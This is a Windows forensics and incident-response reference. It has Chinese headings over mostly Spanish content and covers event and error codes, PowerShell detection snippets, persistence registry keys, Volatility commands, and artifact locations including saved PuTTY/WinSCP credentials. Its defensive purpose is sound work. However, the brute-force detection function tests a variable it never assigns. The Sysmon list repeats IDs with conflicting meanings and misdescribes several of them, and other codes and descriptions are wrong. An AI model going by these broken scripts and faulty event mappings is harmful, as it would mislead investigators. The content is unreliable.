0XC000015B: No se ha concedido al usuario el tipo de inicio de sesión solicitado (también conocido como derecho de inicio de sesión) en este equipo.
0XC000018C: La solicitud de inicio de sesión ha fallado porque ha fallado la relación de confianza entre el dominio principal y el dominio de confianza.
0XC0000192: Se ha intentado iniciar sesión, pero no se ha iniciado el servicio Netlogon.
0xC0000193: Inicio de sesión de usuario con cuenta caducada.
0XC0000224: Se solicita al usuario que cambie la contraseña en el próximo inicio de sesión.
0XC0000225: Evidentemente se trata de un error de Windows y no de un riesgo.
0xC0000234: El usuario inicia sesión con la cuenta bloqueada.
0XC00002EE: Razón del fallo: Se ha producido un error durante el inicio de sesión.
0XC0000413: Error de inicio de sesión: La máquina en la que está iniciando sesión está protegida por un cortafuegos de autenticación. La cuenta especificada no puede autenticarse en la máquina.
```
- Event ID 4768. 常见结果代码:
| Dec | Hex | 描述 |
|-----|-----|-------------|
| 6 | 0x6 | 用户名无效。 |
| 12 | 0xC | 禁止此登录的策略限制(如计算机限制或时间限制)。 |
| 18 | 0x12 | 账户已锁定、禁用或已过期。 |
| 23 | 0x17 | 账户密码已过期。 |
| 24 | 0x18 | 密码不正确。 |
| 32 | 0x20 | 票据已过期(常见于计算机账户)。 |
| 37 | 0x25 | 时钟偏差过大。 |
- AD 用户账户:
```
4720: Se creó una cuenta de usuario.
4722: Se habilitó una cuenta de usuario.
4723: Se cambió una cuenta de usuario.
4724: Se intentó restablecer la contraseña de una cuenta.
4725: Se deshabilitó una cuenta de usuario.
4726: Se eliminó una cuenta de usuario.
4738: Se cambió una cuenta de usuario.
4781: Se cambió el nombre de una cuenta.
4782: Se accedió al hash de contraseña de una cuenta.
```
- AD 组:
```
4731: Se creó un grupo local con seguridad habilitada.
4727: Se creó un grupo global habilitado para seguridad.
4754: Se creó un grupo universal habilitado para seguridad.
4744: Se creó un grupo local con seguridad deshabilitada.
4749: Se creó un grupo global con seguridad deshabilitada.
4759: Se creó un grupo universal con seguridad deshabilitada.
4735: Se cambió un grupo local habilitado para seguridad.
4737: Se cambió un grupo global habilitado para seguridad.
4755: Se cambió un grupo universal habilitado para seguridad.
4745: Se cambió un grupo local con seguridad deshabilitada.
4750: Se cambió un grupo global con seguridad deshabilitada.
4760: Se cambió un grupo universal con seguridad deshabilitada.
4734: Se eliminó un grupo local con seguridad habilitada.
4730: Se eliminó un grupo global con seguridad habilitada.
4758: Se eliminó un grupo universal con seguridad habilitada.
4748: Se eliminó un grupo local con seguridad deshabilitada.
4753: Se eliminó un grupo global con seguridad deshabilitada.
4763: Se eliminó un grupo universal con seguridad deshabilitada.
4732: Se agregó un miembro a un grupo local con seguridad habilitada.
4728: Se agregó un miembro a un grupo global con seguridad habilitada.
4756: Se agregó un miembro a un grupo universal con seguridad habilitada.
4746: Se agregó un miembro a un grupo local con seguridad deshabilitada.
4751: Se agregó un miembro a un grupo global con seguridad deshabilitada.
4761: Se agregó un miembro a un grupo universal con seguridad deshabilitada.
4733: Un miembro fue eliminado de un grupo local con seguridad habilitada.
4729: Un miembro fue eliminado de un grupo global con seguridad habilitada.
4757: Un miembro fue eliminado de un grupo universal con seguridad habilitada.
4747: Un miembro fue eliminado de un grupo local con seguridad deshabilitada.
4752: Un miembro fue eliminado de un grupo global con seguridad deshabilitada.
4762: Un miembro fue eliminado de un grupo universal con seguridad deshabilitada.
```
- Active Directory 联合身份验证服务 (AD FS):
```
1202: El Servicio de federación validó una nueva credencial.
1203: El Servicio de federación no pudo validar una nueva credencial.
4624: Se ha iniciado sesión correctamente en una cuenta.
4625: No se pudo iniciar sesión en una cuenta.
```
- Active Directory 证书服务 (AD CS):
```
4870: Servicios de certificados revoca un certificado.
4882: Se cambiaron los permisos de seguridad para Servicios de certificados.
4885: Se cambió el filtro de auditoría para Servicios de certificados.
4887: Servicios de certificados aprobó una solicitud de certificado y emitió un certificado.
4888: Servicios de certificado denegado una solicitud de certificado.
4890: la configuración del administrador de certificados para Servicios de certificados ha cambiado.
4896: se han eliminado una o varias filas de la base de datos de certificados.
```
- 其他 AD 事件:
```
1644: Búsqueda LDAP.
4662: Se realizó una operación en un objeto.
4741: Cuenta de equipo agregada.
4743: Cuenta de equipo eliminada.
4776: El controlador de dominio ha intentado validar las credenciales de una cuenta (NTLM).
5136: Se modificó un objeto de servicio de directorio.
5137: Se creó un objeto de servicio de directorio.
```
- 登录错误代码 (Event ID 4776):
```
0xC0000064: El nombre de usuario no existe.
0xC000006A: El nombre de usuario es correcto pero la contraseña es incorrecta.
0xC000006D: Fallo genérico de inicio de sesión. Posiblemente nombre de usuario o contraseña incorrectos o desajuste en el nivel de autenticación de LAN Manager entre los equipos de origen y destino.
0xC000006F: El usuario intentó iniciar sesión fuera de sus restricciones de día de la semana u hora del día.
0xC0000234: El usuario está bloqueado.
0xC00000193: Expiración de la cuenta.
0xC0000070: Restricción del puesto de trabajo.
0xC0000071: Contraseña caducada.
0xC0000072: La cuenta está desactivada.
0xC0000133: Relojes entre el DC y el otro equipo demasiado desincronizados.
0xC0000224: El usuario debe cambiar la contraseña en el siguiente inicio de sesión.
0xC0000225: Evidentemente, se trata de un error de Windows y no de un riesgo.
0xC000015b: Al usuario no se le ha concedido el tipo de solicitado (también conocido como derecho de inicio de sesión) en este equipo.
0xc0000371: El almacén de cuentas local no contiene material secreto para la cuenta especificada.
```
- Kerberos 错误代码:
```
0x6: Nombre de usuario incorrecto.
0x7: Nueva cuenta de equipo.
0x9: El administrador debe restablecer la contraseña.
0xC: Restricción del puesto de trabajo.
0x12: Cuenta desactivada, caducada, bloqueada, restricción de horas de inicio de sesión.
0x17: La contraseña del usuario ha caducado.
0x18: Contraseña incorrecta.
0x20: Las cuentas del equipo se registran con frecuencia.
0x25: El reloj de la estación de trabajo está demasiado desincronizado con el del DC.
```
- 策略和配置更改:
```
1102: Se ha eliminado el registro de eventos de "Security" (este evento se mostrará en "Security").
104: Se ha eliminado el registro de eventos de un log específico. "Application", "System" o cualquiera de los registros de aplicaciones y servicios (este evento se mostrará en "System").
4657: Se modificó un valor de registro.
4616: Se cambió la hora del sistema.
```
- 文件和对象访问:
```
4663: Se intentó acceder a un objeto.
4656: Se solicitó un identificador para un objeto.
4659: Se solicitó un identificador de un objeto con la intención de eliminarlo.
4660: Se eliminó un objeto.
4670: Se cambiaron los permisos sobre un objeto.
```
- 进程、服务和计划任务事件:
```
4688: Se generó un nuevo proceso.
4689: Se generó un nuevo proceso con privilegios elevados.
4697: Se instaló un servicio en el sistema.
7045: Un nuevo servicio fue instalado o configurado.
7040: Cambio del tipo de inicio de servicio (deshabilitado, manual, automático).
7036: Iniciar o detener un servicio.
4698: Se creó una tarea programada.
4699: Se eliminó una tarea programada.
4700: Se habilitó una tarea programada.
4701: Se deshabilitó una tarea programada.
4702: Se actualizó una tarea programada.
```
- 网络和连接事件:
```
4946: Se agregó una regla a la lista de excepciones del Firewall de Windows.
4947: Se realizó un cambio en la lista de excepciones del Firewall de Windows.
4950: Se cambió una configuración del Firewall de Windows.
4954: La configuración de la política de grupo del Firewall de Windows ha cambiado. Se han aplicado las nuevas configuraciones.
4956: El Firewall de Windows ha cambiado el perfil activo.
4957: El Firewall de Windows no aplicó la siguiente regla.
5025: El servicio de Firewall de Windows se detuvo.
5031: El Firewall de Windows bloqueó una aplicación que acepta conexiones entrantes.
5158: Una regla de firewall de Windows fue aplicada.
5152: La plataforma de filtrado de Windows bloqueó un paquete.
5153: Un filtro más restrictivo de la plataforma de filtrado de Windows ha bloqueado un paquete.
5155: La plataforma de filtrado de Windows ha bloqueado una aplicación o servicio para que no escuche en un puerto las conexiones entrantes.
5156: La plataforma de filtrado de Windows ha permitido una conexión.
5157: La plataforma de filtrado de Windows ha bloqueado una conexión.
5447: Se ha cambiado un filtro de la plataforma de filtrado de Windows.
```
- 重启、关机和系统启动事件:
```
6005: El servicio de registro de eventos de Windows ha sido iniciado (Se considera un equivalente a "El sistema se ha iniciado").
6006: El servicio de registro de eventos de Windows se ha detenido correctamente (Se considera un equivalente a "El sistema se ha apagado o reiniciado").
6008: El sistema se apaga o reinicia inesperadamente.
1074: Un usuario o un proceso inicia un apagado o reinicio del sistema de manera intencionada.
1076: Registra la razón del último apagado del sistema si fue forzado por un usuario.
1: Registra la duración del proceso de arranque del sistema (Kernel-Boot).
12: El sistema se ha iniciado correctamente (Kernel-General).
13: El sistema se ha apagado correctamente (Kernel-General).
```
- USB 设备事件 (PNP, Plug and Play)
```
6416: El sistema ha reconocido un nuevo dispositivo externo conectado.
10000: Primera conexión dispositivo USB.
20001: Instalación o actualización de UserPNP.
24576: Instalación correcta de controladores WPD (Windows Portable Devices).
```
- AppLocker 事件
```
8003, 8006: Se permitió la ejecución de
pero se habría impedido su ejecución si se hubiera aplicado la política de AppLocker.
8004: Se ha impedido la ejecución de .
8005: Se permitió la ejecución de .
8007: Se ha impedido la ejecución de .
8023: Se permitió la instalación de *.
8025: Se ha impedido la ejecución de *.
8028: Se permitió la ejecución de pero se habría impedido si se hubiera aplicado la política Config CI.
8029: Se impidió la ejecución de debido a la política Config CI.
```
- **Sysmon** 事件
+ https://learn.microsoft.com/es-es/sysinternals/downloads/sysmon#events
```
# 登录与认证:
1: Creación de proceso. Puede indicar la ejecución de herramientas de autenticación o credenciales.
# 进程创建与终止:
1: Creación de proceso.
5: Término de proceso. Puede ayudar a identificar la ejecución y finalización de herramientas maliciosas.
# 注册表更改:
12: Cambio en una clave de registro. Puede indicar cambios maliciosos en la configuración del sistema.
# 文件与对象访问:
8: Creación de archivo. Puede indicar la creación de archivos maliciosos.
11: Creación de archivo. Puede indicar la creación de archivos temporales o de configuración.
17: Cambio en la propiedad de archivo. Puede indicar cambios maliciosos en archivos importantes.
# 网络连接:
3: Conexión de red establecida. Puede ayudar a identificar conexiones a recursos externos.
4: Conexión de red terminada. Puede indicar actividad de red sospechosa.
# 模块与驱动程序加载:
7: Carga de imagen en un proceso. Puede indicar la carga de módulos maliciosos.
# 恶意软件签名检测:
16: Detección de imagen. Puede indicar la detección de malware por parte de Sysmon.
# 服务与驱动程序创建:
17: Creación de servicio. Puede indicar la creación de servicios maliciosos.
# 文件路径更改:
18: Cambio de ruta de acceso de archivo. Puede indicar cambios en la ubicación de archivos sospechosos.
```
### 📜 Windows 计划任务工件
在 Windows 中查看和/或提取已创建计划任务信息的不同方式。
Windows GUI
```
taskschd.msc
```
系统路径
```
%SYSTEMROOT%\System32\Tasks
%SYSTEMROOT%\Tasks
```
Regedit
```
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\Taskcache\Tasks
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\Taskcache\Tree
```
PowerShell
```
Get-ScheduledTask
```
使用 PSScheduledJob 模块的 PowerShell
```
Import-Module PSScheduledJob
Get-ScheduledJob
```
CMD
```
schtasks
```
### 📜 用于检测 Windows 中可疑活动的脚本
`远程登录`
分析成功的登录事件以查找登录类型 (3 或 10),即远程登录和 RDP 类型。从那里我们可以开始调查发起连接的 IP。
```
Get-WinEvent -FilterHashtable @{Logname = "Security" ; ID = 4624 } | where {$_.Properties[8].Value -eq 3 -or $_.Properties[8].Value -eq 10}
```
`暴力破解`
为了检查事件日志中是否有 BruteForce 攻击的迹象,我们可以在安全日志中搜索 ID 为 4625 的多个 login fail 事件。
```
function BruteForceDetect {
param (
[string]$logName = "Security",
[int]$eventID = 4625,
[int]$failedAttemptsThreshold = 5,
[int]$timeWindow = 60 # Ventana de tiempo en minutos para comprobar si hay intentos de inicio de sesión repetidos
)
$startTime = (Get-Date).AddMinutes(-$timeWindow)
# Definir tabla hash del filtro
$filterHash = @{
LogName = $logName
ID = $eventID
StartTime = $startTime
}
$events = Get-WinEvent -FilterHashtable $filterHash
$failedAttempts = @{}
foreach ($event in $events) {
$userName = $event.Properties[5].Value
$sourceIPAddress = $event.Properties[19].Value
if ($userName -and $sourceIPAddress) {
if ($failedAttempts.ContainsKey($userName)) {
$failedAttempts[$userName]++
} else {
$failedAttempts[$userName] = 1
}
}
}
$failedAttempts.GetEnumerator() | Where-Object { $_.Value -ge $failedAttemptsThreshold } | Sort-Object Value -Descending
if ($bruteForceEvents.Count -gt 0) {
# Fuerza bruta detectada
Write-Host "Ataques de fuerza bruta detectados:"
foreach ($entry in $bruteForceEvents) {
Write-Host ("User: {0}, Intentos fallidos: {1}" -f $entry.Name, $entry.Value)
}
} else {
Write-Host "No se detectaron ataques de fuerza bruta dentro del período de tiempo especificado."
}
}
```
`二进制攻击`
Windows 使用一些已知技术(如面向返回的编程 "ROP")对漏洞利用进行缓解,我们可以在 Microsoft-Windows-Security-Mitigations/UserMode 日志中找到检测到的漏洞记录。
```
Get-WinEvent -FilterHashTable @{LogName ='Microsoft-Windows-Security-Mitigations/UserMode'} | Format-List -Property Id, TimeCreated
```
`钓鱼`
钓鱼最常用的方法之一是使用 Office 文档启动另一个隐藏的有效载荷,所以我将以同样的方式监视由 Word 或 Excel 生成的任何进程。
```
Get-SysmonEvents 1 | Where-Object { $_.Properties[20].Value -match "word|Excel" } | Format-List TimeCreated, @{label = "ParentImage" ; Expression = {$_.properties[20].value}}, @{label= "Image" ; Expression= {$_.properties[4].value}}
```
`服务篡改`
通过命令行检测服务篡改的一种方法是监视 Sc.exe 可执行文件的使用。
```
Get-SysmonEvents 1 | Where-Object { $_.Properties[4].Value -match "\\sc.exe" } | Format-List TimeCreated, @{label = "ParentImage" ; Expression = {$_.properties[20].value}}, @{label= "Image" ; Expression= {$_.properties[4].value}},@{label = "CommandLine" ; Expression = {$_.properties[10].value}}
```
### 📜 获取已安装软件及其版本 (x86 和 x64)
查询 Windows 注册表。有效且完整,其中列出了安装在 x86 和 x64 (Wow6432Node) 架构上的软件,包括计算机整体 (HKLM) 和用户配置文件 (HKCU) 上下文。
```
Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*, `
HKCU:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*, `
HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*, `
HKCU:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | `
? {![string]::IsNullOrWhiteSpace($_.DisplayName)} | `
Select-Object DisplayName, DisplayVersion, InstallDate | Sort-Object DisplayName -Unique
```
使用 WMI 查询 Win32_Product 类(不像前面的方法那样列出所有已安装的软件)。
```
Get-WmiObject -Query "SELECT * FROM Win32_Product" | Select-Object Name, Version, Vendor, InstallDate
Get-WmiObject -Class Win32_Product | Select-Object Name, Version, Vendor, InstallDate
```
### 📜 ShellBags 分析与工件
Shellbags 是一组注册表项,包含有关用户查看的文件夹的详细信息,例如其大小、位置和图标。它们提供时间戳、上下文信息并显示对目录和其他资源的访问,这可能指向曾经存在的证据。
每探索一个新文件夹就会创建一个 shellbag 条目,即活动迹象,充当目录项的历史记录,这些项可能自此从系统中删除,甚至证明访问了现已断开的可移动设备。
Shellbag 分析可以揭示关于以下方面的信息:
- 文件夹访问。
例如,桌面项目、控制面板类别/项目、驱动器号、目录甚至压缩文件。
- 删除、覆盖或重命名文件夹的证据。
- 目录遍历和导航模式。
这也可能包括远程访问 (RDP 或 VNC) 的证据,以及二进制文件的删除或网络资源的访问。
**Shellbags 工件**
`NTUSER.DAT`
```
HKCU\Software\Microsoft\Windows\Shell\Bags
HKCU\Software\Microsoft\Windows\Shell\BagMRU
```
`USRCLASS.DAT`
```
HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU
HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags
```
相关值描述:
| 值 | 描述 |
|-------|-------------|
| `MRUListExt` | 4 字节值,指示最后一次访问 BagMRU 层次结构中每个子文件夹的顺序 |
| `NodeSlot` | 包含查看首选项和 shellbag 配置 |
| `NodeSlots` | 仅位于 BagMRU 的根键中,每次创建新的 shellbag 时都会更新 |
**ShellBags 解释的详细参考**
- https://www.4n6k.com/2013/12/shellbags-forensics-addressing.html
**以在线和离线方式探索和分析 Shellbags 的工具**
- **ShellBags Explorer** (GUI) 或 **SBECmd** (CLI): https://ericzimmerman.github.io/#!index.md
### 📜 RAM 内存分析:生成时间线 (Volatility 3)
要创建系统活动的时间线,可以使用不同的 Volatility 插件来提取与系统事件、文件和用户活动相关的内存工件。
`Timeliner`
*timeliner* 插件根据内存中存在的不同工件生成操作系统活动的时间线,显示相关事件及其日期和时间,以便在事件期间重建系统活动。
它从多个内存来源收集信息:
- 进程和文件。
- 系统事件。
- 注册表活动。
```
vol.py -f memory.raw windows.timeliner > timeline_timeliner.txt
```
`MFT Scan`
*mftscan* 插件分析内存中存在的 Master File Table (MFT) 结构,即 NTFS 文件系统的主数据库,以获取有关文件和目录的信息。
它允许识别以下工件:
- 文件名。
- 时间戳(创建、修改和访问)。
- 磁盘位置。
- 创建或修改的文件。
- 已删除文件的工件。
- 最近的文件系统活动。
```
vol.py -f memory.raw windows.mftscan > timeline_mftscan.txt
```
`Shellbags`
*shellbags* 插件允许分析存储在 Windows 注册表中的 Shellbags 工件,其中包含有关用户在 Windows 资源管理器中打开的文件夹的信息,对于重建其活动特别有用,即使文件或文件夹已被删除。
这些工件可以揭示:
- 打开的文件夹路径。
- USB 设备访问。
- 网络共享资源访问。
- 文件夹查看首选项。
```
vol.py -f memory.raw windows.registry.shellbags > timeline_shellbags.txt
```
### 📜 检测 Windows 注册表中可执行文件的持久化 (基于 *MITRE ATT&CK* 矩阵的技术)
通过使用基于 *MITRE ATT&CK* 矩阵的技术检查来检测 Windows 注册表项中的持久化。
该工具还比较注册表的两个快照以获取两者之间的状态变化,并从持久化角度(行为分析)进行分析。
- https://github.com/amr-git-dot/Corners
`用于持久化的 Windows 注册表相关分支`
```
# Mittre Technique: T1547.001
HKCU:\Software\Microsoft\Windows\CurrentVersion\Run
HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM:\Software\Microsoft\Windows\CurrentVersion\Run
HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM:\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKCU:\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKLM:\Software\Microsoft\Windows\CurrentVersion\RunServices
HKCU:\Software\Microsoft\Windows\CurrentVersion\RunServices
# Mittre Technique: T1547.003
HKLM:\System\CurrentControlSet\Services\W32Time\TimeProviders
# Mittre Technique: T1547.010
HKLM:\SYSTEM\CurrentControlSet\Control\Print\Monitors
# Mittre Technique: T1547.012
HKLM:\SYSTEM\ControlSet001\Control\Print\Environments\Windows x64\Print Processors\winprint
HKLM:\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors\winprint
HKLM:\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x86\Print Processors\winprint
HKLM:\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows NT x86\Print Processors\winprint
# Mittre Technique: T1546.011
HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom
# Mittre Technique: T1546.007
HKLM:\SOFTWARE\Microsoft\Netsh
```
`用于持久化的 Windows 注册表分支和创建的值`
```
# Mittre Technique: T1547.004
HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon - Userinit
HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer - Run
HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer - Run
HKLM:\System\CurrentControlSet\Control\Session Manager - BootExecute
# Mittre Technique: T1547.002
HKLM:\SYSTEM\CurrentControlSet\Control\Lsa - Authentication Packages
# Mittre Technique: T1547.004
HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon - shell
HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon - shell
# Mittre Technique: T1547.005
HKLM:\SYSTEM\CurrentControlSet\Control\Lsa - Security Packages
HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig - Security Packages
# Mittre Technique: T1037.001
HKCU:\Environment - UserInitMprLogonScript
# Mittre Technique: T1546.009
HKLM:\System\CurrentControlSet\Control\Session Manager\ - AppCertDlls
# Mittre Technique: T1546.010
HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Windows - AppInit_DLLs
HKLM:\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows - AppInit_DLLs
# Mittre Technique: T1547.001
HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders - Startup
```
### 📜 VPN 客户端连接工件
检查恶意行为者从受损 PC 发起的 VPN 客户端连接的可能工件。
```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles
```
### 📜 服务中的持久化
注册表分支,用于存储服务中驱动程序的映像值。有时用于在系统中维持持久化。
分析 *"ImagePath"* 值的路径和参数。
```
HKLM\SYSTEM\CurrentControlSet\Services
```
### 📜 审计关键身份的变更 (最近 15 天)
事件 ID:
- 4732: 成员已添加到启用安全的本地组。
- 4733: 成员已从启用安全的本地组中删除。
```
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4732,4733; StartTime=(Get-Date).AddDays(-15)} | Format-Table TimeCreated, Message
```
### 📜 Windows 事件日志被删除了吗?
攻击者是否删除了所有 Windows 事件日志?
可以检测 System 或 Security 中是否存在事件 1102, 104。
```
1102: Se ha eliminado el registro de eventos de "Security" (este evento se mostrará en "Security").
104: Se ha eliminado el registro de eventos de un log específico. "Application", "System" o cualquiera de los registros de aplicaciones y servicios (este evento se mostrará en "System").
```
VSS (Volume Shadow Copy) 可能是一个选项,但在某些情况下,这也被有意删除了。
1. 内存转储: https://www.volatilityfoundation.org/releases
2. 使用 MemProcFS 挂载: https://github.com/ufrisk/MemProcFS
3. 复制 evtx 文件:
```
Get-ChildItem -Path F:\pid\ -Include *.evtx -Recurse | Copy-Item -Destination .\evtx_files
```
- Volatility - 参考 evtlogs: https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#evtlogs
### 📜 Volatility 3: 剪贴板
从内存转储中,剪贴板数据可能对于揭示信息很有价值。
```
vol.py -f memdump.bin windows.clipboard
```
### 📜 检查用户最近打开的文件
存储用户最近打开的文件的快捷方式。
Win+R > shell:recent
```
%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Recent
```
存储用户在 Windows 资源管理器中最近打开的文件,按扩展名(如 .txt, .docx 或 .pdf)组织。还包括 MRUList,它维护打开文件的顺序,用于 Windows 资源管理器中的快速访问。
```
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs
```
### 📜 分析 Windows Prefetch 文件
存储在 `%SYSTEMROOT%\Prefetch` (C:\Windows\Prefetch) 中的 Windows **Prefetch (.pf)** 文件有助于优化应用程序加载时间。它们之所以有趣,是因为它们存储了关于**运行了哪些程序**、**何时**、**多少次**以及**访问了哪些系统资源 (DLL、路径、卷)** 的信息。
这些数据可以帮助重建执行时间线,即使可执行文件被删除也能识别恶意软件活动,并检测 DLL 加载或伪装二进制文件或脚本执行中的异常,这可能表明 *DLL sideloading* 或 *code injection* 等技术。
- **[WinPrefetchView (NirSoft)](https://www.nirsoft.net/utils/win_prefetch_view.html)**: 带有 GUI 的工具,允许检查 .pf 文件并获取可执行文件、日期和执行次数以及加载的文件等详细信息。在单个视图中加载整个 Prefetch 目录及其 .pf 文件。
- **[PECmd (Eric Zimmerman's tools)](https://ericzimmerman.github.io/#!index.md)**: 用于解码和分析 Prefetch 的 CLI 工具。有助于提取执行数据、导出到 CSV 或 JSON 以及自动处理多个文件,还可与 *[KAPE (Kroll Artifact Parser and Extractor)](https://github.com/EricZimmerman/KapeFiles)* 集成。
```
# 显示帮助
PECmd.exe --help
# 分析单个 .pf 文件
PECmd.exe -f "C:\Windows\Prefetch\CMD.EXE-12345678.pf"
# 分析文件夹中的所有 .pf 文件
PECmd.exe -d "C:\Windows\Prefetch"
# 导出结果到 CSV 或 JSON
PECmd.exe -d "C:\Windows\Prefetch" --csv "C:\Forensics\Prefetch_CSV"
PECmd.exe -d "C:\Windows\Prefetch" --json "C:\Forensics\Prefetch_JSON"
PECmd.exe -d "D:\Evidence\Prefetch" --csv "D:\Output" --json "D:\Output" --debug
# 仅按特定可执行文件过滤
PECmd.exe -d "C:\Windows\Prefetch" | findstr /I "powershell.exe"
# 分析挂载在离线卷上的其他系统的 Prefetch
PECmd.exe -d "E:\Windows\Prefetch" --csv "E:\Analysis\Prefetch_Results"
```
通过注册表查看 Prefetch 的配置方式,检查为应用程序和启动启用了哪种预取。
*HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters ➜ `EnablePrefetcher`*
- 0 = 禁用。
- 1 = 启用应用程序启动执行预取。
- 2 = 启用启动预取。
- 3 = Applaunch 和 Boot 均已启用(最佳和默认值)是默认值。
### 📜 Adobe Acrobat 工件:最近打开的 PDF 历史缓存
*cRecentFiles*: 最近打开的文件所在位置的历史记录,"cX" 其中 X 将是一个分配的数字。
```
HKEY_CURRENT_USER\Software\Adobe\Adobe Acrobat\DC\AVGeneral\cRecentFiles\cX
HKEY_USERS\\Software\Adobe\Adobe Acrobat\DC\AVGeneral\cRecentFiles\cX
```
*cRecentFolders*: 最近打开的文件所在文件夹的历史记录,"cX" 其中 X 将是一个分配的数字。
```
HKEY_CURRENT_USER\Software\Adobe\Adobe Acrobat\DC\AVGeneral\cRecentFolders\cX
HKEY_USERS\\Software\Adobe\Adobe Acrobat\DC\AVGeneral\cRecentFolders\cX
```
*SessionManagement*: 上一次 Adobe Acrobat 会话中打开的 PDF 历史记录。
```
HKEY_CURRENT_USER\Software\Adobe\Adobe Acrobat\DC\SessionManagement\cWindowsPrev\cWin0\cTab0\cPathInfo
HKEY_USERS\\Software\Adobe\Adobe Acrobat\DC\SessionManagement\cWindowsPrev\cWin0\cTab0\cPathInfo
```
### 📜 “运行”窗口和“Explorer.exe 地址栏”:最近访问的文件和路径历史缓存
当我们通过 Windows 资源管理器的地址栏或在“运行”窗口 (Win+R) 中输入新路径或文件时。默认情况下,这些会保存下来,以加快用户体验。这些工件在取证调查的信息收集过程中可能很有用,以了解用户成功访问的站点、地址或文件。
在用户会话 HKCU 已登录的情况下,如果在离线模式下分析注册表,则需要找到我们要分析的用户 SID。
`“运行”窗口`
```
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKEY_USERS\\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
```
`Windows 资源管理器 "Explorer.exe" 地址栏`
```
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths
HKEY_USERS\\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths
```
### 📜 Thumbcache Viewer
查看 *"thumbcache_\*.db"* 文件。
- https://thumbcacheviewer.github.io
### 📜 Notepad.exe 未关闭标签页的历史记录 (Win11)
Windows 11 中 Notepad.exe 未关闭标签页的历史记录。
```
"%localappdata%\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\TabState"
```
### 📜 AnyDesk, Team Viewer 和 LogMeIn 中的取证工件
`AnyDesk`
AnyDesk 工件。
日志 "ad.trace" 揭示如下信息:
- 连接者来源的远程 IP
- 文件传输活动
```
%ProgramData%\AnyDesk\ad_svc.trace
%ProgramData%\AnyDesk\connection_trace.txt
%AppData%\Anydesk\ad.trace
```
在用户 *AppData* 文件夹的 "ad.trace" 日志中,我们搜索条件 "files" 和 "app.prepare_task"。这将揭示文件是从哪个文件夹复制的,以及复制的文件数量。
在 "ad.trace" 和 "ac_svc.trace" 文件中用于识别连接的其他搜索条件。
在跟踪中找到传出访问连接,远程控制另一台设备。
```
"Connecting to"
"Client-ID:"
"Connection established." (Esta cadena asegura que se estableció la conexion).
```
找到传入连接。
```
"Accept request from"
"Client-ID:"
"Accepting the connect request." (Esta cadena informa de que se aceptó la conexión).
"Session stopped." (Fin de la conexion)
```
在同一文件中搜索 "External address" 一词,这将揭示恶意行为者连接的远程 IP 地址。"Files" 将指示文件交换中的活动。
`Team Viewer`
Team Viewer - 参考 logs:
- https://community.teamviewer.com/Spanish/kb/articles/4694-como-localizar-los-archivos-de-registro
Team Viewer - 通信安全架构:
- https://static.teamviewer.com/resources/2020/11/security-encryprion-1.jpg
`LogMeIn`
LogMeIn 工件。
```
C:\Program Data\LogMeIn
C:\Users\\AppData\Local\LogMeIn
```
```
SOFTWARE\LogMeIn\Toolkit\DesktopSharing
SOFTWARE\LogMeIn\V5 LogMeIn\Toolkit\Filesharing
SOFTWARE\LogMeIn\V5
SOFTWARE\LogMeIn Ignition
```
### 📜 使用 PuTTY, MobaXterm, WinSCP 存储的远程连接会话 (SSH, RDP, FTP, SFTP, SCP 等)
Windows 注册表项和路径,其中可以找到使用 *MobaXterm*、*PuTTY* 或 *WinSCP* 建立的 SSH、RDP、FTP、SFTP、SCP 等连接的已保存和先前建立的会话。这些是 REG_SZ 类型的字符串值,其中存储了用户、IP 和密码(如果保存在这些用于建立远程连接的客户端中)等信息。
`MobaXterm`
```
HKCU\Software\Mobatek\MobaXterm\
%USERPROFILE%\Documents\MobaXterm\MobaXterm.ini
```
`PuTTY`
```
HKCU\Software\SimonTatham\PuTTY\Sessions
```
`WinSCP`
```
HKCU\Software\Martin Prikryl\WinSCP 2\Sessions
```
### 📜 RDP 连接中的工件与可追溯性
RDP 连接会在 Windows 注册表和事件中留下痕迹,综合分析它们可以重建完整的可追溯性:谁连接的、连到哪台服务器、系统是否接受传入访问以及连接是否真的成功,从而获得可能远程入侵的“全貌”。
**Windows 注册表**
最近连接的用户:
```
HKCU\SOFTWARE\Microsoft\Terminal Server Client\Default
```
连接中使用的用户名:
```
HKCU\SOFTWARE\Microsoft\Terminal Server Client\Servers
```
